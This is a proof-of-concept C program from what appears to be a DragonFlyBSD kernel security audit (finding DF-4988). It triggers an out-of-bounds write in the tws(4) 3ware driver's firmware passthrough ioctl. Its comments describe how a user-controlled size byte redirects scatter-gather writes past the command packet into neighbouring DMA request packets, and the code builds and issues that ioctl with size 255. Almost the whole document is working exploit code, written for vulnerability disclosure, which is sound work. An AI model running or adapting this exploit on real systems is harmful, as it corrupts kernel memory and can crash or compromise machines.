โฌข DragonFlyBSD Kernel Audit
DF-4988 / tws_pt_sgl.c
โ† back to finding โ†“ download raw
/*
 * DF-4988 PoC โ€” tws(4) passthru SGL destination steered by the
 * user-controlled generic-command "size" byte.
 *
 * tws_user.c:126   memcpy(&req->cmd_pkt->cmd, &ubuf->cmd_pkt.cmd, 896)
 *                  -> attacker fully controls tws_cmd_generic.size (0..255)
 * tws_cam.c:1035   sgl_ptr = (u_int32_t *)gcmd + gcmd->size;
 * tws_cam.c:1038   tws_fill_sg_list(..., sgl_ptr, sgls<=46)
 *                  -> writes up to 46 * 16 = 736 bytes of 64-bit SGL
 *                     descriptors at cmd_pkt + 128 + 4*size
 *
 * The request's own command packet is 1024 bytes; with size=255 the write
 * spans [cmd_pkt+1148, cmd_pkt+1884] โ€” up to ~860 bytes PAST the end of the
 * packet, into the neighboring request packets of the shared dma_mem pool
 * (cross-request corruption; content = physical addresses/lengths of the
 * passthru data buffer).
 *
 * This program constructs and issues exactly that command.  Requires
 * /dev/tws0 (root-only 0600); without the controller it exits ENOENT.
 */
#include <sys/ioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>

/* same mirrors as DF-4987 (tws_hdm.h/tws_user.h packed layouts) */
struct tws_driver_packet {
    unsigned int control_code, status, unique_id, sequence_id,
                 os_status, buffer_length;
} __attribute__((packed));

struct tws_command_header {
    unsigned char sense_data[18];
    struct { unsigned short srcnum; unsigned char reserved;
             unsigned char status; unsigned short error;
             unsigned char res__srcid; unsigned char res__severity; } __attribute__((packed)) status_block;
    unsigned char err_specific_desc[98];
    struct { unsigned char size_header; unsigned short request_id;
             unsigned char size_sense; } __attribute__((packed)) header_desc;
} __attribute__((packed));

struct tws_cmd_generic {
    unsigned char sgl_off__opcode;
    unsigned char size;             /* <-- attacker steers the SGL dest with this */
    unsigned char request_id;
    unsigned char host_id__unit;
    unsigned char status;
    unsigned char flags;
    unsigned short count;
} __attribute__((packed));

struct tws_command_packet {
    struct tws_command_header hdr;
    union {
        unsigned char raw[896];
        struct tws_cmd_generic generic;
    } cmd;
} __attribute__((packed));

struct tws_ioctl_no_data_buf {
    struct tws_driver_packet driver_pkt;
    void          *pdata;
    char           padding[488 - sizeof(void *)];
    struct tws_command_packet cmd_pkt;
} __attribute__((packed));

#define TWS_IOCTL_FIRMWARE_PASS_THROUGH \
        _IOWR('T', 202, struct tws_ioctl_no_data_buf)

int
main(int argc, char **argv)
{
    static struct tws_ioctl_no_data_buf buf;
    static char data[128 * 1024];
    unsigned char size = (argc > 1) ? (unsigned char)strtoul(argv[1], NULL, 0) : 255;
    int fd, error;

    fd = open("/dev/tws0", O_RDWR);
    if (fd < 0) {
        printf("open(/dev/tws0): %s โ€” no 3ware controller (hardware-gated)\n",
            strerror(errno));
        return (2);
    }

    /*
     * non-SCSI opcode (0x01 INIT_CONNECTION != 0x10 EXECUTE_SCSI) so the
     * callback takes the generic branch at tws_cam.c:1030-1038 and uses
     * gcmd->size as the SGL destination offset.
     */
    buf.cmd_pkt.cmd.generic.sgl_off__opcode = 0x01;
    buf.cmd_pkt.cmd.generic.size = size;          /* SGL written at gcmd + 4*255 */
    buf.driver_pkt.buffer_length = sizeof(data);  /* >0 so req->data != NULL */
    buf.pdata = data;

    printf("DF4988: passthru, opcode=0x01 (generic path), gcmd.size=%u\n"
           "        -> SGL write window = cmd_pkt+%u .. cmd_pkt+%u "
           "(packet size 1024)\n",
           size, 128 + 4u * size, 128 + 4u * size + 736);
    error = ioctl(fd, TWS_IOCTL_FIRMWARE_PASS_THROUGH, &buf);
    printf("DF4988: ioctl returned %d (errno=%s) os_status=%u\n",
        error, strerror(errno), buf.driver_pkt.os_status);
    close(fd);
    return (0);
}